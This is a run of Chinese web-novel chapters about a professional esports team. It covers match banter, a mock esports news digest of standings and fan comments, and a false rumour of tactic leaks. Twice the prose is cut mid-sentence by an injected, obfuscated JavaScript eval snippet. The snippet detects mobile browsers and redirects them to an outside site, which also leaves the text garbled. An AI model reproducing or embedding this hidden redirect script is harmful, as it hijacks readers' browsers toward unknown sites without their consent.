他是今年成为的职业选手,他的年纪是JYY里最小的选手,他刚成年,职业经历也是一张白纸。而且他不仅独有,他还没因为以前的训练赛,被揪出‘太过独行侠’的问题逐渐藏匿自己的思绪想法,而是敢今天就这么在台上突然的提出来吓大家一跳并拉着大家一起去尝试。 说好听点,叫少年心气、勇气可嘉;说难听点,叫初生牛犊不怕虎,大胆妄为。 但也因为他的这个举动,把他们几个人的一些自信和冲劲唤醒了。 郁秋不禁有些隐隐羡慕。 虽然这把游戏的比分输赢对战队的成绩来说无伤大雅,但夜雨辰胆敢有说服力的提出这个决策,已经帮他们很多人的心里都向前跨出一大步了。而且因为刚刚的成功,说不定JYY接下来几周比赛的战术和打法,估计都会层出不穷了。 这一把输赢不太重要的比赛对局,却对JYY造成了很大的影响。 * 不过夜雨辰和郁秋这一趟结伴“上厕所”,身上并没有任何能看时间的工具,所以他们没呆多久便很快离开了这间休息室,打算回到JYY的休息室里。 “欸,老夜你怎么在这?” 二人一出门,就刚好遇到了从洗手间方向回来的嘉辉。 夜雨辰沉默了:“……” 怎么这么巧。 嘉辉一下就注意到了夜雨辰有些不平整的衣领,还隐隐看到里面泛红的肌肤,关心道:“你肩膀受伤了吗?” 夜雨辰耳根瞬间泛红,他扯了扯自己的衣服,咬牙道:“没有,蚊子咬的。” 为什么突然有股偷晴被抓的心虚感? “哦。”嘉辉见夜雨辰没事,便好奇地看了看他和郁秋,心生佩服道,“你们真的太强了,这都敢反野,最关键的是居然还成功反到并撤离了,真是把我打得心服口服,我们士气都被你们搓了不少呢。你们这是谁提出来的想法啊?你还是郁秋?” 夜雨辰想也没想,开口道:“我——” 话还没说完,反手他就被郁秋捂住了嘴。 夜雨辰瞪大双眸,不明所以:“???” 嘉辉一愣一愣的:“啊?” 郁秋歉意地朝嘉辉点了下头:“失陪。” 说完,他也在嘉辉的诧异和不解下拖着夜雨辰离开了这个地方。 等到JYY休息室的门口,完全看不到嘉辉的影子后,郁秋才松开手,对夜雨辰扶额道:“他不知道就算了,你还不知道这个时间段最好别跟对手沟通吗?而且这还是走廊,没看到那么多人工作人员走来走去吗。” 夜雨辰不满地整理着自己一路上因郁秋被拖拽乱的发型和衣领,没好气道:“我和他是好兄弟,说几句话交流交流而已,又不会怎么样,你别老是二话不说就动手。” “你啊。”郁秋叹了口气,无奈地耸耸肩,“这些你们回去私下聊就好了,以后这个时间点尽量不要接触太多。” 说着,他就打开了休息室的门。 零落摆手拒绝道:“不了不了,你们继续就好,我本来就只是个挂名的花架子。” One笑道:“真的吗?你不是想了很久,多好的机会。” 零落再次推脱道:“不不不,我真不行,老One你别整我啊。” 夜雨辰看着这二人的推三拒四,再瞅了眼在一旁看戏的开开和Qian,疑惑道:“在聊什么呢?” One低笑两声,看向门口回来的二人:“在问要不要让零落上去打一场呢,反正他不是我的替补嘛?” 零落无奈地叹口气:“我真不行啊老One,你别整我,我主职还是教练的。” One:“真的不上吗?” “……”沉默了半晌,零落点了两下头,确定以及肯定道,“嗯,真不上,你们继续打吧。” 说着,他微笑道:“何况你刚刚打得那把不也意犹未尽不是嘛?” One笑而不语。 开开见中野二人终于回来了,直接对郁秋道:“秋哥,刚刚我们小复盘了一下,还是不得不敬佩这buff你都能抢到,真的牛逼,其实我那时候拉视角看你们的团战情况,心里都做好了这把祭天的准备了。” “那个啊?”提醒起这点,郁秋回忆了下自己当时场上的感觉和状态,“虽然说有运气成分,但单论镜这个英雄的手法操作,应该我算是联盟里为数不多的顶尖选手吧?” 众人顿时哑声:“……” 这人怎么突然开始自夸了? 郁秋继续道:“所以进野节奏我打过不少,我大概也能知道对面会选择怎么上,这个阵容用什么方法抢buff,以及什么时候下惩戒。镜这英雄双惩的间隙说快不快,说慢不慢,所以我知道抢到buff只能靠那个时间段的间隙,不过最终的结果也是个拼手速的运气吧?不过还是很轻松的。” 众人更加无语:“…………” 那你直接说运气好抢到的不就行了吗! 零落淡淡道:“总归也算是一次阴差阳错的成功,靠手法弥补的失误,所以也别太骄傲了,上场吧,哦对,就打你刚刚说的双刺客阵容。” 准备上台的路上,夜雨辰在郁秋旁边小小的冷声道:“看上去轻松,实则大心脏。” 郁秋睨向他,有些诧异道:“这就大心脏了?那下把我想打一次更大心脏的怎么办?下把我要指挥了。” 更大心脏? 夜雨辰下意识抬手摸了摸自己肩膀上还未消退的牙印,眼底里闪过一抹寒意。 那就看谁的心脏更不好一点吧。 * 这把对局如郁秋所提,JYY掏出了镜和火舞的双刺客阵容,开开拿了一个前期强度飙顶的狂铁,辅助则是大乔,老One的射手则是玩了个虞姬,再次孤零零地在下路打着抗压。 这把SupS前期阵容也不弱,中野辅是猫咪、老虎和张飞,可不知道为什么,这次的野区节奏反而比上把的还好打。 开局郁秋直接边路帮狂铁抢线,然后中路大乔配合火舞抢先速度也不弱,所以四人开局直接奔入了蓝区,靠着双惩的优势拼下了惩戒。 不过,这把游戏又和上把不太一样。 上把郁秋玩得是蓝领打野,不太吃经济,这把他玩的是野核,很需要刷钱,而夜雨辰两把玩的都是需要经济的法师,即使团队赛里中单经济一般都在四号位。 所以这把,夜雨辰不仅老实地跟着郁秋的节奏打,还不按比赛常理安分守己吃极少的经济,而是丝毫没放过任何一个蹭郁秋野怪经济的机会,各种蹭郁秋的钱吃。 郁秋微笑道:“你什么意思,搞我心态呢?” 这一直被夜雨辰蹭经济直接让他无法拉开和对面打野拉开很大的经济差。 夜雨辰冷哼一声,面不改色地胡言乱语道:“你见过不要经济的火舞吗?蹭点你的野怪而已,别那么小气,反正我也给你蹭了我的兵线。” 他现在的肩膀都还在隐隐作痛呢,这他不报复真说不过去。 反正也有自信拿下这把游戏,搞郁秋的心态又不会怎么样。 所以这把游戏的前期发育,夜雨辰除了保证郁秋打野刀的层数和安稳升到四级外,他该蹭的野怪和兵线经济,都毫不廉耻地全蹭了个遍! 两分半的时候,夜雨辰和郁秋刚清完一波中线,给对面了一个往中路右草走的假视野,等视野一消失,他又偷偷摸摸钻到了左草的位置蹲着,并呼唤着自己已经离开的队友:“快来快来快来,看我位置,我要踢他” 郁秋趁机在野区收了一个小野怪,嘲讽道:“又搞这种自私节奏,谁跟你啊?” “?” 夜雨辰青筋一起,下一秒,他人也不蹲了,直接用技能滚到了野区,再一次的蹭了郁秋的蓝buff经验和经济。 “……”郁秋双眸微眯。 电子竞技不讲感情,一直被影响发育,他确实被夜雨辰影响到了一点心态。 突然,他冷声一笑,对夜雨辰如沐春风地笑道:“Night,你还记得你刚刚跟我说的把比赛当巅峰赛和你撞车的局打吗?” “?”第一次听到郁秋以这个称呼喊自己,夜雨辰怔了一下,但下一秒,心底里升起的蹭到钱的愉悦感很快覆盖掉了这个情绪。他忍不住低笑了两声,“记得。” 这时,郁秋和夜雨辰在清又一波的中路线,然后前往自家红区,夜雨辰又不经意地蹭了他一个红buff的经济。 郁秋见状也没生气,和生和气道:“那宝贝,别整我了好吗?” 其余三人的操作同时顿住了:“…………” 好好的比赛,上把喊“哥”、这把喊“宝贝”,怎么,还给你俩调情上了? 夜雨辰全身一僵,心底瞬间明白了郁秋刚刚为什么要和他说巅峰赛的那句话了。 因为他们第一次做队友的对局,夜雨辰把郁秋对他的“刷存在感”当成是在恶心他了。 所以,郁秋这次的“宝贝”这两个字,纯粹是真的为了恶心他一手的。 比赛上夜雨辰可受不了这种突如其来的会影响到操作的刺激。 他一咬牙:“算你狠。” 说完,就终于放了一波线,去下路支援开开了。 …… 开局十二分钟,一个争夺龙buff的团战,JYY有点小失误导致开开只有半血状态,夜雨辰的火舞少了个大招。 Qian见状,冷静地对队友道:“走吧走吧!这波别反了,稳点打!” 开开大叫地疑惑道:“什么?冲吧冲吧?好!上去干!” 说着,他就直接开启大招加位移技能,直接冲进了SupS的人堆里以一顶五。 郁秋跟着激动道:“不要怂,干就完事了!” 夜雨辰冷哼一声,但因为状态问题只能不断地在侧面丢扇子,逼迫着嘉辉没有安稳的输出位置。 Qian见状,内心不禁骂爹,但表面上还是保持着稳重不停地拉着看似上头的队友:“别冲了,稳点打,暴君要刷新了,打完我们直接一波。” “……哈哈。”一直在队伍最后排追着他们四个人的One忍不住干笑两声,对Qian道,“哥们,你说这句话前可以不要冲在最前面吗?你才是最需要被人拉住的那个吧?” 这是第几次了,表面上是开开顶在最前面,但实则每次团战打起来都是因为Qian开的一手好节奏。 Qian冷哼一声,没有搭理One,而是默默地上划了一道经济差距语音。 【经济领先11284,别浪!】 101.【插播!】 电竞周报负责人覃雨霜:S17赛季职业联赛已经开赛三周,本期周报主要有三大内容—— 一、第一轮常规赛总分排行榜; 二、上周话题热度; 三、某不知名人士的投稿信件(仅读者可见) * 一、第一轮常规赛已结束,各组榜单分数排名从左到右依次排序如下: 【S组排名:Fire、PG、Eagle、Wao、FQ、星队;】 【热评1:好可惜啊,PG就差一把的净胜分就是小组第一了,FPE这仨战队这赛季又要包揽前三了。】 【热评2:切,要不是Wao都被其他队研究透了都还死性不改战术,前三肯定有他们的一席之地。】 【热评3:说真的,沦陷、小柯、希楠、啊钧、恒宇、伞大、白柚、IN……一个个又帅游戏技术又顶尖的,多养眼啊,建议联盟给他们出道个职业男团,反正他们都是明星选手,如果真出道了我要做粉丝头子!】 【热评4:我同意!建议再加上Fire那个新人乌宁,啊我真的喜欢死他了,小弟弟秀气又腼腆的,打起架来却是最凶猛最稳当的,Fire好几次团战都有他的高光,真是妥妥的小奶狗既视感!】 【热评5:乌宁是真的接替下了Fire前辅助的大任,相比较来说FQ的子幸就很可笑了,把FQ原本那么优秀的中单JR顶了下去,拆散原本五人组还带着战队差点拿下五连跪,这人真是所到战队寸草不生,以前FQ起码都能勉强挤进S组前三的,这种热搜哥能不能别来祸害职业赛事了?】(已删除) 【热评6:哎,但是星队居然连现在的FQ都打不过,那他们这次掉到A组基本没得跑了,真是失望至极,本来是个潜力极大的战队,取关取关。】 【热评7:FQ为什么买这种队霸单机选手来气我们战队粉?邱子幸老是时不时犯病一打五,怎么赢啊?气死我了,我要脱粉!】 【热评8:就我觉得子幸其实进步了很多吗?其实他这一轮比赛都和队友配合得挺好的,只是熟悉度上他们还是有点生疏,而且这种游戏谁都会犯病不是吗?何况对手过分强大了,所以输了这几场大分也很正常吧?我关注了FQ好几场比赛,他们差点赢了Wao拿到小组第四名不是嘛?】 【追评:发这一条消息能拿几块钱?能不能推给我,我也要发。子幸带JYY从冠军到联盟吊车尾的事情观众都知道,有必要帮他洗吗?下周卡位赛就看着他把FQ带到A组去吧,呵呵。】 …… 【A组排名:UM、YT、HMG、LY、MHT、VZ;】 【热评1:UM战队粉发来喜报!这次肯定拿捏进S组了!车长这种读秒人才不进S组太可惜了!】 【热评2:风行宝宝我真的好心疼你,但我会继续等你带HMG重回S组荣光的那一天的。这一整年看你一直在A组我真的好难受啊,明明你付出的努力比别人多几倍,场上高光也比大部分选手多几倍,但为什么你的努力就是没有回报!下场常规赛的卡位赛期待你重回S组!/流泪/流泪】 【热评3:俗话说得好,‘S组有FPE三霸王,A组有两大S组守门员UM和HMG’,YT居然打过了守门员HMG,只能说他们这手新人打野买得好啊!最佳潜力新人之一!】(ps:YT是七戈在的战队,七戈是该战队的替补边路。) 【热评4:MHT和VZ这两个战队……以B组表现,估计卡位赛这俩战队都要掉组了吧?SupS终于可以冲上A组了,可喜可贺。】 【热评5:我真的是喜欢看A组的比赛,每一轮常规赛几乎都是战队大换血,这次会换一半以上的战队,有好戏看了!】 【热评6:哈?我没看昨天的比赛,但我觉得SupS换上来可以说是板上钉钉的事,可JYY如果也行的话,我就不得不提某个刚从JYY离开转会到FQ的选手了……】(已删除) 【热评7:你直接报邱子幸大名得了,反正过会也会被删评。电竞圈里谁不知道这家伙是有钱天天买热度的大哥之一,而且比JYY那两个爱买热搜的哥还嚣张,有钱人的世界真恶心,口区!】(已删除) …… 【B组排名:JYY、SupS、CM、TZ、STJ、QYG。】 【热评1:身为一个五年打野玩家兼JYY的一年黑粉,昨天JYY打SupS那把真给我看爽了!这都敢反野?这惩居然能拼过?这居然都能反野成功?!开局的时候我还放狠话说JYY要是能把成功反野并拿下胜利我以后就是JYY的万年铁粉,嗯对,所以从今以后谁骂JYY,就是在和我作对!!】 【热评2:JYY和SupS两个战队都锁定卡位赛名额了,输赢又不重要,所以他们随便打打不是很正常?两边阵容几乎都是四五核且0控,正常比赛谁会选这种阵容出来?而且楼上没看热搜吗,这种情况下还敢大肆宣扬粉JYY,高级黑还是抖M想被骂?】 【热评3:好难评,嘉辉和Night居然还有这一腿的关系,给我看得生理不适了。两个明明都是新人,Night就不说了,一进战队就搞一堆事情的热搜哥,早就路转黑了;但嘉辉明明进的是一个潜力十足的战队,老老实实打比赛少认识点狐朋狗友的话,这赛季肯定能涨不少的身价,以后职业成就也肯定未来可期,非要搞这一出有的没的恶心人。】 【热评4:CM粉是真的想哭,居然输给了JYY这种爱搞小动作的战队,不会他们输也是因为JYY获得到了他们的战术吧?!】 【热评5:不是,你们三有一个正常人吗?那个贴子只放了几张照片,然后就被你们传成了战术泄露?他们就不能是朋友聊天吗?能不能别被营销号带节奏,放一出资料你们就瞎想一出啊?真是造谣一张嘴,张口就来。】 【热评6:那你怎么解释SupS比赛上放出来的战队语音回放呢?这个观众也都听到了吧?如果不是战术泄露JYY凭什么会这么凑巧知道SupS要打的打法进行bp?】 【热评7:那不能是凑巧吗?鲁大这英雄55又不是冷门英雄不会被选,这英雄能帮助射手安稳发育,JYY的阵容明显是要放养One的,所以肯定得削弱SupS的发育路对线强度,不然One怎么玩?你们能不能有点游戏思路再来bb带节奏?这些不都是游戏思路基础吗?这是电竞比赛,不是你们所谓的追星路。】 【热评8:QYG垫底啊……啧啧啧,我这里有一手这个战队的瓜,小道消息,绝对炸裂所有人!有兴趣的宝子放个耳朵,我私你!】 …… 覃雨霜:以上就是各组常规赛分数排行,未来两天每组的倒数两名战队将与下一级组别的正数两名进行卡位赛bo7并确认最终组别轮换,敬请期待未来两天比赛! * 二、上周话题热度排行榜统计如下—— 【1.Fire.啊钧极限操作一打四,为Fire力挽狂澜拿下小组第一!】(爆!) 【最热评:感动,开赛三周了,终于有一个属于边路玩家的热搜了。我们边路玩家总算是站起来了!!/流泪/流泪】 【热评:啊钧收割小柯和希楠的时候,我第一反应都是……害,昔日的并肩队友,今日的拔剑对手,真是时光不复返啊!】 【2.据比赛后台相关人员透露——惊!赛前Night出现于SupS休息室并和选手嘉辉进行单唠;第一场比赛结束后,再现某无人休息室门口SupS.嘉辉和JYY.Night说说笑笑(图片x6)】(爆!) 【最热评:艹,怪不得SupS第一把bp的时候很诧异JYY果断禁的英雄以及当场临时讨论新阵容,原来是队内出间谍泄露战术了啊?没想到SupS这个新人居然会干这种事情,看他年纪轻轻的,是被JYY热搜哥开的价迷糊了双眼吗?】 【热评:屎可以乱吃,话可不能乱说哈,你说的这行为叫买通贿赂对手了,这行为可是违规,会被联盟发牌子警告的;也别乱造谣,这几张图片也说明不了他们具体聊了什么内容,未知全貌不予置评!】 【追评:哈哈,这有什么违规的?联盟可没发通告,而且嘉辉只是泄露战术,又没有假赛,怎么吃牌子?】 【3.JYY比赛队内语音——Qiu:宝贝别整我了#秋夜】(爆!) 【最热评:身为秋的多年老粉,是真的超喜欢听他亲口说‘宝贝’和‘宝宝’这两个词!猝不及防的温柔一声温真是听得人心黄黄的。可惜这么多年只听过他对两个人说这种话,一个是早已退网多年不知所踪的Rain,一个就是这几年的路人王中单Night。】 【热评:啊,居然还有人记得Rain这个两年前退网的中单大神,这么久都没听到有人提这个ID,我还以为GloryK已经换了一批新的玩家了,感动!原来我还没老!】 【追评:我突然有个想法,Rain和Night都是玩中单的,而且Rain退网没多久后Night出现了,有没有可能……他俩是同一个人?】 【1L:怎么可能?指路两年前南黎的直播间,他和秋还有Rain撞车的那一把对局,Rain可是一个极力排斥玩辅助的人,但Night一点都不排斥玩辅助,虽然他只玩一个大乔。何况两人声音也不太一样,肯定不是同一个人!】 …… 【4.邱子幸能不能滚出职业联赛!别祸害其他队友了。】 【最热评:经典,这么高的热度没有热搜标,懒得评。】 【热评:先披个马,我不是水军,我是一年的FQ老粉,以前从没关注过子幸这个选手,而且我也很生气JR被他替了下去,但FQ这几场比赛我都看了,也特地去关注了子幸这个新选手的表现。他其实没你们说得那么过分,他都能跟得上队友的配合,而且他的队友直播五排的时候也从没任何一个人说他坏话,也没有人对他心生不满过,所以大家能不能不要带着有色眼镜去看一个人?】 【追评:妹子,我不管你是不是水军,别被假象骗了,现实大部分人都是会为资本低头的人,不然遭殃的就是自己,所以‘队内和谐相处’不是很正常?以前他在JYY做队霸就是最好的说法。】 【5.LY射辅二打五翻盘拿下MHT!】(热!) 【最热评:靠,顾挽搭档配合真的是太亮眼了,绝对是联盟里数一数二的射辅组合!】 【热评:我磕的小情侣可真厉害!】 【6.Fire.乌宁反手开团,关键群控x4!】 【最热评:这个乌宁真的是近些年里表现最好且最低调的职业选手了,真是前途无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324784|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量啊!】 【7.Qiu奇迹抢buff!】(热) 【最热评:ber,Qiu好歹以前也是沦陷的替补,有点技术不是很正常吗?这还能上这么高热搜?好好的热搜榜一堆一个B组战队,看得真是让人瘆得慌。】 【追评:我沦你大爷的陷!这tm是Qiu的贴子别老提和他无关的人好吗?Qiu现在是首发,和替补八竿子打不着关系,懂吗?!】 【8.Fire.沦陷直播观看JYY反野——震惊!艺高人胆大!】(热) 【最热评:我去,沦陷居然会看JYY的比赛,而且还会为Qiu说话?我还以为他们俩以前的身份导致关系很差呢,毕竟一个一直坐在首发,一个一直是另一个人的替补。】 【热评:直播我在现场,沦陷是闲着无聊而且巅峰赛排了十几分钟排不进去,所以就挂着看了会比赛直播,刚刚好是JYY的比赛而已,不过他真的也很震惊JYY居然会打这个反野战术,特别是Qiu居然能抢下这个蓝buff,联盟第一打野说得话还是有点含金量的吧?这个战术是真的太惊险了!居然会有人提出来。】 …… * 三、不知名人士的投稿信件——关于小柯和希楠是怎么在前JYY出柜的,以及Qian难以忘记的人生心里阴影 覃雨霜(翻看投稿件ing):咳咳,有个好心人士投稿了一个仅读者可见的小八卦,事发是在一年前,前JYY战队刚拿下第一个冠军的那个庆功宴晚上,也就是Qian、One、小柯、希楠和啊钧在这个战队、教练是鄙人的时候—— 那是一个月黑风高的夜晚,庆功宴上,前JYY的六人一同在外选择了一个别墅露营庆祝他们人生中的第一个职业比赛冠军。 他们在大宅里大吃特吃、大喝特喝、大玩特玩。 深更半夜,六人围坐在客厅玩骰子“斋飞”,输的人罚喝酒,每个人都喝了不少的量,但没一个人认输。 一个小时后,小柯成为了第一个倒下的醉人。 他是全场输得最多的,再加上他接连罚了五次酒,好不容易终于赢了一把骰子,但还没来得及看队友受罚就躺了。 其他四人见小柯就这么倒进希楠怀里倒是不以为意,毕竟这俩人在网上的cp话题早已霸占热搜第一数月,已经见过不少他俩相关的同人文本以及错位接吻的图了。 最关键的是,这两人也毫不收敛,就喜欢在摄像头下给观众看一些擦边亲密的东西,可谓大胆至极! 希楠见小柯倒在自己身上,面色沉了沉,毫不留情地拎起小柯的一只胳膊:“我先把他丢楼上去,你们先玩,我过会继续来。” 然后,小柯就像个拖把似的,被拖拽上了楼。 其他四人就继续玩着骰子斋飞。 等过了十分钟,有人察觉到了一丝不对劲——希楠还没下来。 鄙人是第一个察觉到异常的,他叼着根烟,疑惑地看向楼梯口:“希楠那家伙怎么还不下来?我还等着过会把他放倒呢。” One笑嘻嘻道:“把小柯带上去是假,他醉了临阵脱逃是真。” 啊钧露出意味深长地表情,贱兮兮道:“他不会把小柯丢上床后酒性大发,没克制住吧?” “……”Qian笑了笑,站起了身,“我去楼上放个水,顺便去给你们瞅瞅到底发生了什么。” Qian前脚刚上楼,在客厅又玩了一轮斋飞的One似是因为玩得有点乏味,有些闷闷不乐地站起身:“我也去放个水然后再战,三个人玩骰子没意思。” 鄙人挥了挥手:“去吧去吧,我和啊钧再来几把。” 刚上到二楼,One便看到Qian站在房间门口一动不动。 One感到疑惑,上前走到Qian的旁边拍了拍他的肩膀:“傻愣在自己房门口干什么?是有蟑——” 说着,他顺着Qian的目光看向房间里面,顿时呆滞了。 Qian此刻整个人碎了一地。 人生十八载,他从未想过,他会在自己的房间看到如此刷新他三观的景象—— 一打开房间门,小柯坐在书桌上,双手环抱着面前的希楠的后颈深深地接吻。 嗯,看得出来,居然还是法式的。 ……更难以接受了。 “唔。” 小柯这才注意到房门口发出的动静。他轻轻推开希楠,偏过头,带着醉意和些许涣散的眼神看向门口,疑惑地嘟嘟道,“你们来我房间干什么?” “……” Qian的脸色黑如锅底。他不忍直视地随意瞥了眼小柯有些红肿的嘴唇,脑里满是刚刚他俩分开时,那几条晶莹剔透的丝的画面。 这他妈不是他的房间吗? 这两人在他房间干嘛啊?!搞这种事情还会进错房间吗?! End * 覃雨霜(诧异):啊?投稿在这居然就结束了吗?我还没看够……欸?信件最后还标注了投稿人,这居然不是不知名的人士的投稿吗!我看看,投稿人是——Fire.鄙人? 谁?JYY的前教练?! 这位教练您也太闲了吧,就这么扒拉前队友的心里阴影真的好吗!! 烦请您下次多抖点联盟里的料子出来,我爱看,谢谢! 102.又被骂了 小U好奇地问道:“所以你俩泄露战术的热搜到底是什么情况?” 嘉辉怒吼道:“这他妈是污蔑!污蔑!喵的一晚上的时间都能给我干热搜第二去,我真服了!我和老夜这么规矩的人是这种拿前途做赌注的人吗,而且昨天我们那把还是输赢不太重要的局,有必要做这种事情吗?网络上真是一堆左右脑互搏的傻子。” 酒店里,夜雨辰坐在自己的床上,把电话拿得离自己耳朵远了些,等嘉辉说完,他才重新把手机放回耳边,捏了捏眉心:“我刚到酒店,来重庆前被叫去谈话过,冷姐跟我说别去在意这些事情,她已经和你们战队沟通好了怎么解决这件事,这几天肯定能把一些人送进去的,清者自清,专注明天的卡位赛就好。” 其实要不是出发前,他突然被她叫去喝茶,他还真不知道网上已经腥风血雨了。 这一出热搜不仅把他和嘉辉的名声泼了一身脏水,还直接影响到了SupS和JYY两个战队的声誉。 “啊?送进去?”小U感到震惊,“我记得你们战队没几个工作人员吧?办事效率这么高?昨天晚上出现热搜第二天晚上就说能送进去了?” 夜雨辰点点头:“冷姐出手,放心就好。” 关于办事效率这回事,之前一次战队开会,冷姝言一口气当着所有人的面掏出六部手机,上面同时运营着他们六个队员的论坛账号时,他就已经全身心的实打实佩服她了。 积极办公,且效率可怖。 嘉辉一提到这件事就气急败坏:“气死我了,大早上没睡醒我就被强行叫起来开了个会,莫名其妙的把我冷汗都激起来了,我只能说还好昨天我被你叫出休息室的时候林元在门后偷听了我们的对话,有他帮我澄清,不然我真的百口莫辩!有个队友对我的敌意直接藏都不藏了摆在我的脸上……话说老夜你怎么从接通电话到现在都这么淡定,看到这些不生气吗?” 夜雨辰没有回答生不生气这个问题,而是挑眉道:“这件事还能影响到你们队内关系了?” 这么明显的挑拨离间式造谣,真会有人信啊? “影响关系倒没有吧?可能是因为这件事和我有关,他们都被迫起早,所以难免对我有点怨气?” 嘉辉仔细回想了一下,觉得没什么奇怪的点后便无所谓道,“管他的!反正今天我们赢都赢了,轻轻松松踏进A组,你们明天肯定也随便拿下的。至于战队现在打算怎么处理……林元也让我别想太多,别急着上网发声,剩下的让他跟管理层沟通就好。” “哟呵?”小U贱兮兮地笑道:“他对你这么照顾?那之前我们吃饭的时候你还跟我们骂他,你现在是不是心生愧疚?” “又不是我求他帮我的。”嘉辉似是对此感到心虚,音量逐渐变小,不情不愿道,“而且之前是我的性子不对,但我跟他道过歉,这次也道谢了的。他就跟我说‘没事,小事,老队员照顾下新队员也是一件很正常的事情。’你说对吧老夜?” “?”被点名的夜雨辰一愣,“什么?” 怎么就突然提到他了? “当然是说你和你家打野啊,老队员照顾新队员。” 嘉辉特地强调了后半句话,笑嘻嘻道,“老实交代,第一把比赛完你和郁秋为什么会出现在那间没人的休息室的?不会是第一把你们战术太过刺激导致你的小心脏受不了,所以把他叫去那里陪陪你受伤的心灵吧?我昨天回来还特意看了下比赛回放,你二级反野那波,心率都飙到180去了。” 夜雨辰全身一顿:“……” 虽然不知道这家伙脑回路是怎么样的,但居然还真被他瞎蒙对了一半。 就是受伤的人不是他而已。 小U没忍住翻了个白眼:“OOC了老弟,就算老夜真有这种会受伤的小心灵,但他要是干得出在别人面前哭得稀里哗啦的事情,明天FQ就能拿冠军了好吧?他有这个脸皮吗?” 说着,他就嗤鼻地补充道:“而且要哭也是那个傻逼哭。” 夜雨辰深吸一口气:“……” 嘉辉:“哈哈,开个玩笑嘛。主要是你不知道,他俩鬼鬼祟祟地从没人的房间出来就算了,老夜的耳朵红得要死,表情还十分不自然,所以没忍住想象了一下他俩躲在房间里偷偷摸摸地做了什么也是人之常情嘛。” “哈。”夜雨辰再也忍不住,冷笑一声:“你能不能给我死?” 偷偷摸摸?鬼鬼祟祟?这用的都是些什么词? 说着,他直接退出了语音电话,把手机丢到一旁,另一只手不自觉地搭在了肩膀上还有些隐隐作痛的位置,面色黑如锅底。 说这么多奇奇怪怪东西,搞得他和郁秋在那做什么见不得光的事情似的。 “我洗完了。”恰好郁秋在这时从洗手间里出来,对夜雨辰道,“你去洗——” 话还没说完,他就收到了夜雨辰甩过来的一记森冷眼刀,倏地一下闭上了嘴。 夜雨辰站起身,迅速拿上自己的手机和要换洗的衣服,冷声道:“滚!” “砰!” 下一秒,洗手间的门就被用力地摔上了。 “?” 郁秋有些懵地愣在原地,一时间没反应过来发生了什么。 JYY是今天出发来重庆的,为了明天的卡位赛。 他记得一路上,夜雨辰知道这些事情后并没有太大反应,只是一直在看手机。问他有没有事他只会说“没事,小问题”。 他看得出来夜雨辰这次并没有在逞强。 所以怎么突然这么生气,难道是网上那群人骂得更狠了吗? “嗡!” 这时,他的手机接连响起来熟悉的特别关心铃声的声音,一下就把他的思绪拉了回来。 不过,这些数连的熟悉铃声,让他心底升起一股不好的预感。 总觉得收到的信息不是什么好东西。 但直觉归直觉,行动上,他还是控制不住第一时间打开Whisper Tree去查看新收到的那个正和自己隔着一扇浴室门的唯一好友发来的消息—— 【Whisper Tree】 【Rain:他属狗的。】 【Rain:他有病。】 【Rain:他咬我。】 【Rain:知道个秘密而已,激励激励他而已,有必要把我当成压力发泄器吗?现在肩膀上还有牙印。】 【Rain:臭狂犬病的。】 郁秋挑了挑眉,表情变得有些一言难尽。 忘记这一茬了。 果然不是什么好的预感,又被骂了。 可是—— 他有些疑惑地往上翻了翻和夜雨辰在这个软件里的聊天记录,似乎是在反复确认着什么。 虽然昨天他不小心又情绪失控了那么下,但为什么昨天的事情他现在才骂? 反射弧有点太长了吧? * 浴室里,夜雨辰一发完消息,就把手机界面调到最新的电竞周报界面,盯着被记录下来的锁在热搜排行榜上第二名的那个话题,若有所思。 白天,他被冷姝言叫去谈话完并被通知了不用把这件事往心里去后,他就没忍住好奇心打开这个电竞周报,想看看那群人究竟说了什么。 奇怪的是,榜单上虽然还挂着这个话题,但他已经搜不到几个相关内容的贴子了。就像这个周报统计的人是被贿赂了,搞了个假榜单似的。 见状,夜雨辰只好翻了翻前几期的电竞周报,想看看这个统计的人到底是不是什么好鸟。在特地看了下每个话题后的热度标以及一些热评后,他得出了一个结论——这个记者虽然不知道是不是好东西,但邱子幸是真的闲得蛋疼。 脑海里不禁响起刚刚嘉辉的那句疑问,“老夜你现在怎么都还这么淡定,看到这些不生气吗?” 夜雨辰长叹一口气。 生气啊,当然生气。 可生气有什么用?敲键盘的那群人不是看到什么就信什么的缺脑货就是收了黑心钱被买来的水军,跟他们争论的话,最后肯定也只有自己被气个半死,还把自己抹得更黑。 怪不得郁秋昨天突然阻止他继续和嘉辉聊下去天,估计是注意到旁边老是经过一些工作人员吧? 不过,夜雨辰确实觉得这次的事件是个小问题。 不是因为他相信冷姝言和孟凌轩的办事效率,而是因为职业比赛的舞台上,一定是绝对公平的,所以如果他和嘉辉真的做了什么不良勾当,他们俩这两天肯定就会被联盟带走,卡位赛都打不成了。 所以这些什么‘泄露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331864|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战术’、‘被钱贿赂’的龌龊声音会发出来主要是被拿来掩盖某人菜到被骂的声音吧? 但居然还是有这么多人会信这种信口雌黄的事情,果然世界上的傻子永远比正常人多。 想到这,夜雨辰便无奈地放下手机,起身去洗澡了。 如果明天JYY顺利进入A组,后续和SupS就一定会再有一场比赛。 所以等到那个时间,这种谣言就不攻自破了。 这次的澄清终于不用这么累了。 电竞比赛真好,可以用纯粹的实力说话。 “但还是造谣一张嘴,澄清累断腿啊!” 